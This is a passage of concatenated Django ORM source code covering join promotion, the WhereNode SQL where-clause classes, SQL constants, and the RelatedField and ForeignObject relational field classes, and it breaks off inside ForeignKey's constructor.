        to INNER, but don't make OUTER joins INNER if that could remove
        results from the query.
        """
        to_promote = set()
        to_demote = set()
        # The effective_connector is used so that NOT (a AND b) is treated
        # similarly to (a OR b) for join promotion.
        for table, votes in self.votes.items():
            # We must use outer joins in OR case when the join isn't contained
            # in all of the joins. Otherwise the INNER JOIN itself could remove
            # valid results. Consider the case where a model with rel_a and
            # rel_b relations is queried with rel_a__col=1 | rel_b__col=2. Now,
            # if rel_a join doesn't produce any results is null (for example
            # reverse foreign key or null value in direct foreign key), and
            # there is a matching row in rel_b with col=2, then an INNER join
            # to rel_a would remove a valid match from the query. So, we need
            # to promote any existing INNER to LOUTER (it is possible this
            # promotion in turn will be demoted later on).
            if self.effective_connector == 'OR' and votes < self.num_children:
                to_promote.add(table)
            # If connector is AND and there is a filter that can match only
            # when there is a joinable row, then use INNER. For example, in
            # rel_a__col=1 & rel_b__col=2, if either of the rels produce NULL
            # as join output, then the col=1 or col=2 can't match (as
            # NULL=anything is always false).
            # For the OR case, if all children voted for a join to be inner,
            # then we can use INNER for the join. For example:
            #     (rel_a__col__icontains=Alex | rel_a__col__icontains=Russell)
            # then if rel_a doesn't produce any rows, the whole condition
            # can't match. Hence we can safely use INNER join.
            if self.effective_connector == 'AND' or (
                    self.effective_connector == 'OR' and votes == self.num_children):
                to_demote.add(table)
            # Finally, what happens in cases where we have:
            #    (rel_a__col=1|rel_b__col=2) & rel_a__col__gte=0
            # Now, we first generate the OR clause, and promote joins for it
            # in the first if branch above. Both rel_a and rel_b are promoted
            # to LOUTER joins. After that we do the AND case. The OR case
            # voted no inner joins but the rel_a__col__gte=0 votes inner join
            # for rel_a. We demote it back to INNER join (in AND case a single
            # vote is enough). The demotion is OK, if rel_a doesn't produce
            # rows, then the rel_a__col__gte=0 clause can't be true, and thus
            # the whole clause must be false. So, it is safe to use INNER
            # join.
            # Note that in this example we could just as well have the __gte
            # clause and the OR clause swapped. Or we could replace the __gte
            # clause with an OR clause containing rel_a__col=1|rel_a__col=2,
            # and again we could safely demote to INNER.
        query.promote_joins(to_promote)
        query.demote_joins(to_demote)
        return to_demote






"""
Code to manage the creation and SQL rendering of 'where' constraints.
"""

from django.core.exceptions import EmptyResultSet
from django.utils import tree
from django.utils.functional import cached_property

# Connection types
AND = 'AND'
OR = 'OR'


class WhereNode(tree.Node):
    """
    Used to represent the SQL where-clause.

    The class is tied to the Query class that created it (in order to create
    the correct SQL).

    A child is usually an expression producing boolean values. Most likely the
    expression is a Lookup instance.

    However, a child could also be any class with as_sql() and either
    relabeled_clone() method or relabel_aliases() and clone() methods and
    contains_aggregate attribute.
    """
    default = AND

    def split_having(self, negated=False):
        """
        Returns two possibly None nodes: one for those parts of self that
        should be included in the WHERE clause and one for those parts of
        self that must be included in the HAVING clause.
        """
        if not self.contains_aggregate:
            return self, None
        in_negated = negated ^ self.negated
        # If the effective connector is OR and this node contains an aggregate,
        # then we need to push the whole branch to HAVING clause.
        may_need_split = (
            (in_negated and self.connector == AND) or
            (not in_negated and self.connector == OR))
        if may_need_split and self.contains_aggregate:
            return None, self
        where_parts = []
        having_parts = []
        for c in self.children:
            if hasattr(c, 'split_having'):
                where_part, having_part = c.split_having(in_negated)
                if where_part is not None:
                    where_parts.append(where_part)
                if having_part is not None:
                    having_parts.append(having_part)
            elif c.contains_aggregate:
                having_parts.append(c)
            else:
                where_parts.append(c)
        having_node = self.__class__(having_parts, self.connector, self.negated) if having_parts else None
        where_node = self.__class__(where_parts, self.connector, self.negated) if where_parts else None
        return where_node, having_node

    def as_sql(self, compiler, connection):
        """
        Returns the SQL version of the where clause and the value to be
        substituted in. Returns '', [] if this node matches everything,
        None, [] if this node is empty, and raises EmptyResultSet if this
        node can't match anything.
        """
        result = []
        result_params = []
        if self.connector == AND:
            full_needed, empty_needed = len(self.children), 1
        else:
            full_needed, empty_needed = 1, len(self.children)

        for child in self.children:
            try:
                sql, params = compiler.compile(child)
            except EmptyResultSet:
                empty_needed -= 1
            else:
                if sql:
                    result.append(sql)
                    result_params.extend(params)
                else:
                    full_needed -= 1
            # Check if this node matches nothing or everything.
            # First check the amount of full nodes and empty nodes
            # to make this node empty/full.
            # Now, check if this node is full/empty using the
            # counts.
            if empty_needed == 0:
                if self.negated:
                    return '', []
                else:
                    raise EmptyResultSet
            if full_needed == 0:
                if self.negated:
                    raise EmptyResultSet
                else:
                    return '', []
        conn = ' %s ' % self.connector
        sql_string = conn.join(result)
        if sql_string:
            if self.negated:
                # Some backends (Oracle at least) need parentheses
                # around the inner SQL in the negated case, even if the
                # inner SQL contains just a single expression.
                sql_string = 'NOT (%s)' % sql_string
            elif len(result) > 1:
                sql_string = '(%s)' % sql_string
        return sql_string, result_params

    def get_group_by_cols(self):
        cols = []
        for child in self.children:
            cols.extend(child.get_group_by_cols())
        return cols

    def relabel_aliases(self, change_map):
        """
        Relabels the alias values of any children. 'change_map' is a dictionary
        mapping old (current) alias values to the new values.
        """
        for pos, child in enumerate(self.children):
            if hasattr(child, 'relabel_aliases'):
                # For example another WhereNode
                child.relabel_aliases(change_map)
            elif hasattr(child, 'relabeled_clone'):
                self.children[pos] = child.relabeled_clone(change_map)

    def clone(self):
        """
        Creates a clone of the tree. Must only be called on root nodes (nodes
        with empty subtree_parents). Childs must be either (Contraint, lookup,
        value) tuples, or objects supporting .clone().
        """
        clone = self.__class__._new_instance(
            children=[], connector=self.connector, negated=self.negated)
        for child in self.children:
            if hasattr(child, 'clone'):
                clone.children.append(child.clone())
            else:
                clone.children.append(child)
        return clone

    def relabeled_clone(self, change_map):
        clone = self.clone()
        clone.relabel_aliases(change_map)
        return clone

    @classmethod
    def _contains_aggregate(cls, obj):
        if isinstance(obj, tree.Node):
            return any(cls._contains_aggregate(c) for c in obj.children)
        return obj.contains_aggregate

    @cached_property
    def contains_aggregate(self):
        return self._contains_aggregate(self)


class NothingNode(object):
    """
    A node that matches nothing.
    """
    contains_aggregate = False

    def as_sql(self, compiler=None, connection=None):
        raise EmptyResultSet


class ExtraWhere(object):
    # The contents are a black box - assume no aggregates are used.
    contains_aggregate = False

    def __init__(self, sqls, params):
        self.sqls = sqls
        self.params = params

    def as_sql(self, compiler=None, connection=None):
        sqls = ["(%s)" % sql for sql in self.sqls]
        return " AND ".join(sqls), list(self.params or ())


class SubqueryConstraint(object):
    # Even if aggregates would be used in a subquery, the outer query isn't
    # interested about those.
    contains_aggregate = False

    def __init__(self, alias, columns, targets, query_object):
        self.alias = alias
        self.columns = columns
        self.targets = targets
        self.query_object = query_object

    def as_sql(self, compiler, connection):
        query = self.query_object

        # QuerySet was sent
        if hasattr(query, 'values'):
            if query._db and connection.alias != query._db:
                raise ValueError("Can't do subqueries with queries on different DBs.")
            # Do not override already existing values.
            if query._fields is None:
                query = query.values(*self.targets)
            else:
                query = query._clone()
            query = query.query
            if query.can_filter():
                # If there is no slicing in use, then we can safely drop all ordering
                query.clear_ordering(True)

        query_compiler = query.get_compiler(connection=connection)
        return query_compiler.as_subquery_condition(self.alias, self.columns, compiler)

    def relabel_aliases(self, change_map):
        self.alias = change_map.get(self.alias, self.alias)

    def clone(self):
        return self.__class__(
            self.alias, self.columns, self.targets,
            self.query_object)






"""
Constants specific to the SQL storage portion of the ORM.
"""

import re

# Valid query types (a set is used for speedy lookups). These are (currently)
# considered SQL-specific; other storage systems may choose to use different
# lookup types.
QUERY_TERMS = {
    'exact', 'iexact', 'contains', 'icontains', 'gt', 'gte', 'lt', 'lte', 'in',
    'startswith', 'istartswith', 'endswith', 'iendswith', 'range', 'year',
    'month', 'day', 'week_day', 'hour', 'minute', 'second', 'isnull', 'search',
    'regex', 'iregex',
}

# Size of each "chunk" for get_iterator calls.
# Larger values are slightly faster at the expense of more storage space.
GET_ITERATOR_CHUNK_SIZE = 100

# Namedtuples for sql.* internal use.

# How many results to expect from a cursor.execute call
MULTI = 'multi'
SINGLE = 'single'
CURSOR = 'cursor'
NO_RESULTS = 'no results'

ORDER_PATTERN = re.compile(r'\?|[-+]?[.\w]+$')
ORDER_DIR = {
    'ASC': ('ASC', 'DESC'),
    'DESC': ('DESC', 'ASC'),
}

# SQL join types.
INNER = 'INNER JOIN'
LOUTER = 'LEFT OUTER JOIN'






from django.core.exceptions import EmptyResultSet
from django.db.models.sql.query import *  # NOQA
from django.db.models.sql.subqueries import *  # NOQA
from django.db.models.sql.where import AND, OR

__all__ = ['Query', 'AND', 'OR', 'EmptyResultSet']






from __future__ import unicode_literals

import inspect
import warnings
from functools import partial

from django import forms
from django.apps import apps
from django.core import checks, exceptions
from django.db import connection, router
from django.db.backends import utils
from django.db.models import Q
from django.db.models.constants import LOOKUP_SEP
from django.db.models.deletion import CASCADE, SET_DEFAULT, SET_NULL
from django.db.models.query_utils import PathInfo
from django.db.models.utils import make_model_tuple
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_text
from django.utils.functional import cached_property, curry
from django.utils.lru_cache import lru_cache
from django.utils.translation import ugettext_lazy as _
from django.utils.version import get_docs_version

from . import Field
from .related_descriptors import (
    ForwardManyToOneDescriptor, ForwardOneToOneDescriptor,
    ManyToManyDescriptor, ReverseManyToOneDescriptor,
    ReverseOneToOneDescriptor,
)
from .related_lookups import (
    RelatedExact, RelatedGreaterThan, RelatedGreaterThanOrEqual, RelatedIn,
    RelatedIsNull, RelatedLessThan, RelatedLessThanOrEqual,
)
from .reverse_related import (
    ForeignObjectRel, ManyToManyRel, ManyToOneRel, OneToOneRel,
)

RECURSIVE_RELATIONSHIP_CONSTANT = 'self'


def resolve_relation(scope_model, relation):
    """
    Transform relation into a model or fully-qualified model string of the form
    "app_label.ModelName", relative to scope_model.

    The relation argument can be:
      * RECURSIVE_RELATIONSHIP_CONSTANT, i.e. the string "self", in which case
        the model argument will be returned.
      * A bare model name without an app_label, in which case scope_model's
        app_label will be prepended.
      * An "app_label.ModelName" string.
      * A model class, which will be returned unchanged.
    """
    # Check for recursive relations
    if relation == RECURSIVE_RELATIONSHIP_CONSTANT:
        relation = scope_model

    # Look for an "app.Model" relation
    if isinstance(relation, six.string_types):
        if "." not in relation:
            relation = "%s.%s" % (scope_model._meta.app_label, relation)

    return relation


def lazy_related_operation(function, model, *related_models, **kwargs):
    """
    Schedule `function` to be called once `model` and all `related_models`
    have been imported and registered with the app registry. `function` will
    be called with the newly-loaded model classes as its positional arguments,
    plus any optional keyword arguments.

    The `model` argument must be a model class. Each subsequent positional
    argument is another model, or a reference to another model - see
    `resolve_relation()` for the various forms these may take. Any relative
    references will be resolved relative to `model`.

    This is a convenience wrapper for `Apps.lazy_model_operation` - the app
    registry model used is the one found in `model._meta.apps`.
    """
    models = [model] + [resolve_relation(model, rel) for rel in related_models]
    model_keys = (make_model_tuple(m) for m in models)
    apps = model._meta.apps
    return apps.lazy_model_operation(partial(function, **kwargs), *model_keys)


def add_lazy_relation(cls, field, relation, operation):
    warnings.warn(
        "add_lazy_relation() has been superseded by lazy_related_operation() "
        "and related methods on the Apps class.",
        RemovedInDjango20Warning, stacklevel=2)
    # Rearrange args for new Apps.lazy_model_operation

    def function(local, related, field):
        return operation(field, related, local)

    lazy_related_operation(function, cls, relation, field=field)


class RelatedField(Field):
    """
    Base class that all relational fields inherit from.
    """

    # Field flags
    one_to_many = False
    one_to_one = False
    many_to_many = False
    many_to_one = False

    @cached_property
    def related_model(self):
        # Can't cache this property until all the models are loaded.
        apps.check_models_ready()
        return self.remote_field.model

    def check(self, **kwargs):
        errors = super(RelatedField, self).check(**kwargs)
        errors.extend(self._check_related_name_is_valid())
        errors.extend(self._check_related_query_name_is_valid())
        errors.extend(self._check_relation_model_exists())
        errors.extend(self._check_referencing_to_swapped_model())
        errors.extend(self._check_clashes())
        return errors

    def _check_related_name_is_valid(self):
        import re
        import keyword
        related_name = self.remote_field.related_name
        if related_name is None:
            return []
        is_valid_id = True
        if keyword.iskeyword(related_name):
            is_valid_id = False
        if six.PY3:
            if not related_name.isidentifier():
                is_valid_id = False
        else:
            if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_]*\Z', related_name):
                is_valid_id = False
        if not (is_valid_id or related_name.endswith('+')):
            return [
                checks.Error(
                    "The name '%s' is invalid related_name for field %s.%s" %
                    (self.remote_field.related_name, self.model._meta.object_name,
                     self.name),
                    hint="Related name must be a valid Python identifier or end with a '+'",
                    obj=self,
                    id='fields.E306',
                )
            ]
        return []

    def _check_related_query_name_is_valid(self):
        if self.remote_field.is_hidden():
            return []
        rel_query_name = self.related_query_name()
        errors = []
        if rel_query_name.endswith('_'):
            errors.append(
                checks.Error(
                    "Reverse query name '%s' must not end with an underscore."
                    % (rel_query_name,),
                    hint=("Add or change a related_name or related_query_name "
                          "argument for this field."),
                    obj=self,
                    id='fields.E308',
                )
            )
        if LOOKUP_SEP in rel_query_name:
            errors.append(
                checks.Error(
                    "Reverse query name '%s' must not contain '%s'."
                    % (rel_query_name, LOOKUP_SEP),
                    hint=("Add or change a related_name or related_query_name "
                          "argument for this field."),
                    obj=self,
                    id='fields.E309',
                )
            )
        return errors

    def _check_relation_model_exists(self):
        rel_is_missing = self.remote_field.model not in self.opts.apps.get_models()
        rel_is_string = isinstance(self.remote_field.model, six.string_types)
        model_name = self.remote_field.model if rel_is_string else self.remote_field.model._meta.object_name
        if rel_is_missing and (rel_is_string or not self.remote_field.model._meta.swapped):
            return [
                checks.Error(
                    "Field defines a relation with model '%s', which is either "
                    "not installed, or is abstract." % model_name,
                    obj=self,
                    id='fields.E300',
                )
            ]
        return []

    def _check_referencing_to_swapped_model(self):
        if (self.remote_field.model not in self.opts.apps.get_models() and
                not isinstance(self.remote_field.model, six.string_types) and
                self.remote_field.model._meta.swapped):
            model = "%s.%s" % (
                self.remote_field.model._meta.app_label,
                self.remote_field.model._meta.object_name
            )
            return [
                checks.Error(
                    "Field defines a relation with the model '%s', which has "
                    "been swapped out." % model,
                    hint="Update the relation to point at 'settings.%s'." % self.remote_field.model._meta.swappable,
                    obj=self,
                    id='fields.E301',
                )
            ]
        return []

    def _check_clashes(self):
        """
        Check accessor and reverse query name clashes.
        """
        from django.db.models.base import ModelBase

        errors = []
        opts = self.model._meta

        # `f.remote_field.model` may be a string instead of a model. Skip if model name is
        # not resolved.
        if not isinstance(self.remote_field.model, ModelBase):
            return []

        # Consider that we are checking field `Model.foreign` and the models
        # are:
        #
        #     class Target(models.Model):
        #         model = models.IntegerField()
        #         model_set = models.IntegerField()
        #
        #     class Model(models.Model):
        #         foreign = models.ForeignKey(Target)
        #         m2m = models.ManyToManyField(Target)

        # rel_opts.object_name == "Target"
        rel_opts = self.remote_field.model._meta
        # If the field doesn't install a backward relation on the target model
        # (so `is_hidden` returns True), then there are no clashes to check
        # and we can skip these fields.
        rel_is_hidden = self.remote_field.is_hidden()
        rel_name = self.remote_field.get_accessor_name()  # i. e. "model_set"
        rel_query_name = self.related_query_name()  # i. e. "model"
        field_name = "%s.%s" % (opts.object_name, self.name)  # i. e. "Model.field"

        # Check clashes between accessor or reverse query name of `field`
        # and any other field name -- i.e. accessor for Model.foreign is
        # model_set and it clashes with Target.model_set.
        potential_clashes = rel_opts.fields + rel_opts.many_to_many
        for clash_field in potential_clashes:
            clash_name = "%s.%s" % (rel_opts.object_name, clash_field.name)  # i.e. "Target.model_set"
            if not rel_is_hidden and clash_field.name == rel_name:
                errors.append(
                    checks.Error(
                        "Reverse accessor for '%s' clashes with field name '%s'." % (field_name, clash_name),
                        hint=("Rename field '%s', or add/change a related_name "
                              "argument to the definition for field '%s'.") % (clash_name, field_name),
                        obj=self,
                        id='fields.E302',
                    )
                )

            if clash_field.name == rel_query_name:
                errors.append(
                    checks.Error(
                        "Reverse query name for '%s' clashes with field name '%s'." % (field_name, clash_name),
                        hint=("Rename field '%s', or add/change a related_name "
                              "argument to the definition for field '%s'.") % (clash_name, field_name),
                        obj=self,
                        id='fields.E303',
                    )
                )

        # Check clashes between accessors/reverse query names of `field` and
        # any other field accessor -- i. e. Model.foreign accessor clashes with
        # Model.m2m accessor.
        potential_clashes = (r for r in rel_opts.related_objects if r.field is not self)
        for clash_field in potential_clashes:
            clash_name = "%s.%s" % (  # i. e. "Model.m2m"
                clash_field.related_model._meta.object_name,
                clash_field.field.name)
            if not rel_is_hidden and clash_field.get_accessor_name() == rel_name:
                errors.append(
                    checks.Error(
                        "Reverse accessor for '%s' clashes with reverse accessor for '%s'." % (field_name, clash_name),
                        hint=("Add or change a related_name argument "
                              "to the definition for '%s' or '%s'.") % (field_name, clash_name),
                        obj=self,
                        id='fields.E304',
                    )
                )

            if clash_field.get_accessor_name() == rel_query_name:
                errors.append(
                    checks.Error(
                        "Reverse query name for '%s' clashes with reverse query name for '%s'."
                        % (field_name, clash_name),
                        hint=("Add or change a related_name argument "
                              "to the definition for '%s' or '%s'.") % (field_name, clash_name),
                        obj=self,
                        id='fields.E305',
                    )
                )

        return errors

    def db_type(self, connection):
        # By default related field will not have a column as it relates to
        # columns from another table.
        return None

    def contribute_to_class(self, cls, name, private_only=False, **kwargs):

        super(RelatedField, self).contribute_to_class(cls, name, private_only=private_only, **kwargs)

        self.opts = cls._meta

        if not cls._meta.abstract:
            if self.remote_field.related_name:
                related_name = self.remote_field.related_name
            else:
                related_name = self.opts.default_related_name
            if related_name:
                related_name = force_text(related_name) % {
                    'class': cls.__name__.lower(),
                    'model_name': cls._meta.model_name.lower(),
                    'app_label': cls._meta.app_label.lower()
                }
                self.remote_field.related_name = related_name

            if self.remote_field.related_query_name:
                related_query_name = force_text(self.remote_field.related_query_name) % {
                    'class': cls.__name__.lower(),
                    'app_label': cls._meta.app_label.lower(),
                }
                self.remote_field.related_query_name = related_query_name

            def resolve_related_class(model, related, field):
                field.remote_field.model = related
                field.do_related_class(related, model)
            lazy_related_operation(resolve_related_class, cls, self.remote_field.model, field=self)

    def get_forward_related_filter(self, obj):
        """
        Return the keyword arguments that when supplied to
        self.model.object.filter(), would select all instances related through
        this field to the remote obj. This is used to build the querysets
        returned by related descriptors. obj is an instance of
        self.related_field.model.
        """
        return {
            '%s__%s' % (self.name, rh_field.name): getattr(obj, rh_field.attname)
            for _, rh_field in self.related_fields
        }

    def get_reverse_related_filter(self, obj):
        """
        Complement to get_forward_related_filter(). Return the keyword
        arguments that when passed to self.related_field.model.object.filter()
        select all instances of self.related_field.model related through
        this field to obj. obj is an instance of self.model.
        """
        base_filter = {
            rh_field.attname: getattr(obj, lh_field.attname)
            for lh_field, rh_field in self.related_fields
        }
        descriptor_filter = self.get_extra_descriptor_filter(obj)
        base_q = Q(**base_filter)
        if isinstance(descriptor_filter, dict):
            return base_q & Q(**descriptor_filter)
        elif descriptor_filter:
            return base_q & descriptor_filter
        return base_q

    @property
    def swappable_setting(self):
        """
        Get the setting that this is powered from for swapping, or None
        if it's not swapped in / marked with swappable=False.
        """
        if self.swappable:
            # Work out string form of "to"
            if isinstance(self.remote_field.model, six.string_types):
                to_string = self.remote_field.model
            else:
                to_string = self.remote_field.model._meta.label
            return apps.get_swappable_settings_name(to_string)
        return None

    def set_attributes_from_rel(self):
        self.name = (
            self.name or
            (self.remote_field.model._meta.model_name + '_' + self.remote_field.model._meta.pk.name)
        )
        if self.verbose_name is None:
            self.verbose_name = self.remote_field.model._meta.verbose_name
        self.remote_field.set_field_name()

    def do_related_class(self, other, cls):
        self.set_attributes_from_rel()
        self.contribute_to_related_class(other, self.remote_field)

    def get_limit_choices_to(self):
        """
        Return ``limit_choices_to`` for this model field.

        If it is a callable, it will be invoked and the result will be
        returned.
        """
        if callable(self.remote_field.limit_choices_to):
            return self.remote_field.limit_choices_to()
        return self.remote_field.limit_choices_to

    def formfield(self, **kwargs):
        """
        Pass ``limit_choices_to`` to the field being constructed.

        Only passes it if there is a type that supports related fields.
        This is a similar strategy used to pass the ``queryset`` to the field
        being constructed.
        """
        defaults = {}
        if hasattr(self.remote_field, 'get_related_field'):
            # If this is a callable, do not invoke it here. Just pass
            # it in the defaults for when the form class will later be
            # instantiated.
            limit_choices_to = self.remote_field.limit_choices_to
            defaults.update({
                'limit_choices_to': limit_choices_to,
            })
        defaults.update(kwargs)
        return super(RelatedField, self).formfield(**defaults)

    def related_query_name(self):
        """
        Define the name that can be used to identify this related object in a
        table-spanning query.
        """
        return self.remote_field.related_query_name or self.remote_field.related_name or self.opts.model_name

    @property
    def target_field(self):
        """
        When filtering against this relation, returns the field on the remote
        model against which the filtering should happen.
        """
        target_fields = self.get_path_info()[-1].target_fields
        if len(target_fields) > 1:
            raise exceptions.FieldError(
                "The relation has multiple target fields, but only single target field was asked for")
        return target_fields[0]


class ForeignObject(RelatedField):
    """
    Abstraction of the ForeignKey relation, supports multi-column relations.
    """

    # Field flags
    many_to_many = False
    many_to_one = True
    one_to_many = False
    one_to_one = False

    requires_unique_target = True
    related_accessor_class = ReverseManyToOneDescriptor
    forward_related_accessor_class = ForwardManyToOneDescriptor
    rel_class = ForeignObjectRel

    def __init__(self, to, on_delete, from_fields, to_fields, rel=None, related_name=None,
                 related_query_name=None, limit_choices_to=None, parent_link=False,
                 swappable=True, **kwargs):

        if rel is None:
            rel = self.rel_class(
                self, to,
                related_name=related_name,
                related_query_name=related_query_name,
                limit_choices_to=limit_choices_to,
                parent_link=parent_link,
                on_delete=on_delete,
            )

        super(ForeignObject, self).__init__(rel=rel, **kwargs)

        self.from_fields = from_fields
        self.to_fields = to_fields
        self.swappable = swappable

    def check(self, **kwargs):
        errors = super(ForeignObject, self).check(**kwargs)
        errors.extend(self._check_to_fields_exist())
        errors.extend(self._check_unique_target())
        return errors

    def _check_to_fields_exist(self):
        # Skip nonexistent models.
        if isinstance(self.remote_field.model, six.string_types):
            return []

        errors = []
        for to_field in self.to_fields:
            if to_field:
                try:
                    self.remote_field.model._meta.get_field(to_field)
                except exceptions.FieldDoesNotExist:
                    errors.append(
                        checks.Error(
                            "The to_field '%s' doesn't exist on the related "
                            "model '%s'."
                            % (to_field, self.remote_field.model._meta.label),
                            obj=self,
                            id='fields.E312',
                        )
                    )
        return errors

    def _check_unique_target(self):
        rel_is_string = isinstance(self.remote_field.model, six.string_types)
        if rel_is_string or not self.requires_unique_target:
            return []

        try:
            self.foreign_related_fields
        except exceptions.FieldDoesNotExist:
            return []

        if not self.foreign_related_fields:
            return []

        unique_foreign_fields = {
            frozenset([f.name])
            for f in self.remote_field.model._meta.get_fields()
            if getattr(f, 'unique', False)
        }
        unique_foreign_fields.update({
            frozenset(ut)
            for ut in self.remote_field.model._meta.unique_together
        })
        foreign_fields = {f.name for f in self.foreign_related_fields}
        has_unique_constraint = any(u <= foreign_fields for u in unique_foreign_fields)

        if not has_unique_constraint and len(self.foreign_related_fields) > 1:
            field_combination = ', '.join(
                "'%s'" % rel_field.name for rel_field in self.foreign_related_fields
            )
            model_name = self.remote_field.model.__name__
            return [
                checks.Error(
                    "No subset of the fields %s on model '%s' is unique."
                    % (field_combination, model_name),
                    hint=(
                        "Add unique=True on any of those fields or add at "
                        "least a subset of them to a unique_together constraint."
                    ),
                    obj=self,
                    id='fields.E310',
                )
            ]
        elif not has_unique_constraint:
            field_name = self.foreign_related_fields[0].name
            model_name = self.remote_field.model.__name__
            return [
                checks.Error(
                    "'%s.%s' must set unique=True because it is referenced by "
                    "a foreign key." % (model_name, field_name),
                    obj=self,
                    id='fields.E311',
                )
            ]
        else:
            return []

    def deconstruct(self):
        name, path, args, kwargs = super(ForeignObject, self).deconstruct()
        kwargs['on_delete'] = self.remote_field.on_delete
        kwargs['from_fields'] = self.from_fields
        kwargs['to_fields'] = self.to_fields

        if self.remote_field.related_name is not None:
            kwargs['related_name'] = self.remote_field.related_name
        if self.remote_field.related_query_name is not None:
            kwargs['related_query_name'] = self.remote_field.related_query_name
        if self.remote_field.parent_link:
            kwargs['parent_link'] = self.remote_field.parent_link
        # Work out string form of "to"
        if isinstance(self.remote_field.model, six.string_types):
            kwargs['to'] = self.remote_field.model
        else:
            kwargs['to'] = "%s.%s" % (
                self.remote_field.model._meta.app_label,
                self.remote_field.model._meta.object_name,
            )
        # If swappable is True, then see if we're actually pointing to the target
        # of a swap.
        swappable_setting = self.swappable_setting
        if swappable_setting is not None:
            # If it's already a settings reference, error
            if hasattr(kwargs['to'], "setting_name"):
                if kwargs['to'].setting_name != swappable_setting:
                    raise ValueError(
                        "Cannot deconstruct a ForeignKey pointing to a model "
                        "that is swapped in place of more than one model (%s and %s)"
                        % (kwargs['to'].setting_name, swappable_setting)
                    )
            # Set it
            from django.db.migrations.writer import SettingsReference
            kwargs['to'] = SettingsReference(
                kwargs['to'],
                swappable_setting,
            )
        return name, path, args, kwargs

    def resolve_related_fields(self):
        if len(self.from_fields) < 1 or len(self.from_fields) != len(self.to_fields):
            raise ValueError('Foreign Object from and to fields must be the same non-zero length')
        if isinstance(self.remote_field.model, six.string_types):
            raise ValueError('Related model %r cannot be resolved' % self.remote_field.model)
        related_fields = []
        for index in range(len(self.from_fields)):
            from_field_name = self.from_fields[index]
            to_field_name = self.to_fields[index]
            from_field = (self if from_field_name == 'self'
                          else self.opts.get_field(from_field_name))
            to_field = (self.remote_field.model._meta.pk if to_field_name is None
                        else self.remote_field.model._meta.get_field(to_field_name))
            related_fields.append((from_field, to_field))
        return related_fields

    @property
    def related_fields(self):
        if not hasattr(self, '_related_fields'):
            self._related_fields = self.resolve_related_fields()
        return self._related_fields

    @property
    def reverse_related_fields(self):
        return [(rhs_field, lhs_field) for lhs_field, rhs_field in self.related_fields]

    @property
    def local_related_fields(self):
        return tuple(lhs_field for lhs_field, rhs_field in self.related_fields)

    @property
    def foreign_related_fields(self):
        return tuple(rhs_field for lhs_field, rhs_field in self.related_fields if rhs_field)

    def get_local_related_value(self, instance):
        return self.get_instance_value_for_fields(instance, self.local_related_fields)

    def get_foreign_related_value(self, instance):
        return self.get_instance_value_for_fields(instance, self.foreign_related_fields)

    @staticmethod
    def get_instance_value_for_fields(instance, fields):
        ret = []
        opts = instance._meta
        for field in fields:
            # Gotcha: in some cases (like fixture loading) a model can have
            # different values in parent_ptr_id and parent's id. So, use
            # instance.pk (that is, parent_ptr_id) when asked for instance.id.
            if field.primary_key:
                possible_parent_link = opts.get_ancestor_link(field.model)
                if (not possible_parent_link or
                        possible_parent_link.primary_key or
                        possible_parent_link.model._meta.abstract):
                    ret.append(instance.pk)
                    continue
            ret.append(getattr(instance, field.attname))
        return tuple(ret)

    def get_attname_column(self):
        attname, column = super(ForeignObject, self).get_attname_column()
        return attname, None

    def get_joining_columns(self, reverse_join=False):
        source = self.reverse_related_fields if reverse_join else self.related_fields
        return tuple((lhs_field.column, rhs_field.column) for lhs_field, rhs_field in source)

    def get_reverse_joining_columns(self):
        return self.get_joining_columns(reverse_join=True)

    def get_extra_descriptor_filter(self, instance):
        """
        Return an extra filter condition for related object fetching when
        user does 'instance.fieldname', that is the extra filter is used in
        the descriptor of the field.

        The filter should be either a dict usable in .filter(**kwargs) call or
        a Q-object. The condition will be ANDed together with the relation's
        joining columns.

        A parallel method is get_extra_restriction() which is used in
        JOIN and subquery conditions.
        """
        return {}

    def get_extra_restriction(self, where_class, alias, related_alias):
        """
        Return a pair condition used for joining and subquery pushdown. The
        condition is something that responds to as_sql(compiler, connection)
        method.

        Note that currently referring both the 'alias' and 'related_alias'
        will not work in some conditions, like subquery pushdown.

        A parallel method is get_extra_descriptor_filter() which is used in
        instance.fieldname related object fetching.
        """
        return None

    def get_path_info(self):
        """
        Get path from this field to the related model.
        """
        opts = self.remote_field.model._meta
        from_opts = self.model._meta
        return [PathInfo(from_opts, opts, self.foreign_related_fields, self, False, True)]

    def get_reverse_path_info(self):
        """
        Get path from the related model to this field's model.
        """
        opts = self.model._meta
        from_opts = self.remote_field.model._meta
        pathinfos = [PathInfo(from_opts, opts, (opts.pk,), self.remote_field, not self.unique, False)]
        return pathinfos

    @classmethod
    @lru_cache(maxsize=None)
    def get_lookups(cls):
        bases = inspect.getmro(cls)
        bases = bases[:bases.index(ForeignObject) + 1]
        class_lookups = [parent.__dict__.get('class_lookups', {}) for parent in bases]
        return cls.merge_dicts(class_lookups)

    def contribute_to_class(self, cls, name, private_only=False, **kwargs):
        super(ForeignObject, self).contribute_to_class(cls, name, private_only=private_only, **kwargs)
        setattr(cls, self.name, self.forward_related_accessor_class(self))

    def contribute_to_related_class(self, cls, related):
        # Internal FK's - i.e., those with a related name ending with '+' -
        # and swapped models don't get a related descriptor.
        if not self.remote_field.is_hidden() and not related.related_model._meta.swapped:
            setattr(cls._meta.concrete_model, related.get_accessor_name(), self.related_accessor_class(related))
            # While 'limit_choices_to' might be a callable, simply pass
            # it along for later - this is too early because it's still
            # model load time.
            if self.remote_field.limit_choices_to:
                cls._meta.related_fkey_lookups.append(self.remote_field.limit_choices_to)

ForeignObject.register_lookup(RelatedIn)
ForeignObject.register_lookup(RelatedExact)
ForeignObject.register_lookup(RelatedLessThan)
ForeignObject.register_lookup(RelatedGreaterThan)
ForeignObject.register_lookup(RelatedGreaterThanOrEqual)
ForeignObject.register_lookup(RelatedLessThanOrEqual)
ForeignObject.register_lookup(RelatedIsNull)


class ForeignKey(ForeignObject):
    """
    Provide a many-to-one relation by adding a column to the local model
    to hold the remote value.

    By default ForeignKey will target the pk of the remote model but this
    behavior can be changed by using the ``to_field`` argument.
    """

    # Field flags
    many_to_many = False
    many_to_one = True
    one_to_many = False
    one_to_one = False

    rel_class = ManyToOneRel

    empty_strings_allowed = False
    default_error_messages = {
        'invalid': _('%(model)s instance with %(field)s %(value)r does not exist.')
    }
    description = _("Foreign Key (type determined by related field)")

    def __init__(self, to, on_delete=None, related_name=None, related_query_name=None,
                 limit_choices_to=None, parent_link=False, to_field=None,
                 db_constraint=True, **kwargs):
        try:
            to._meta.model_name
        except AttributeError:
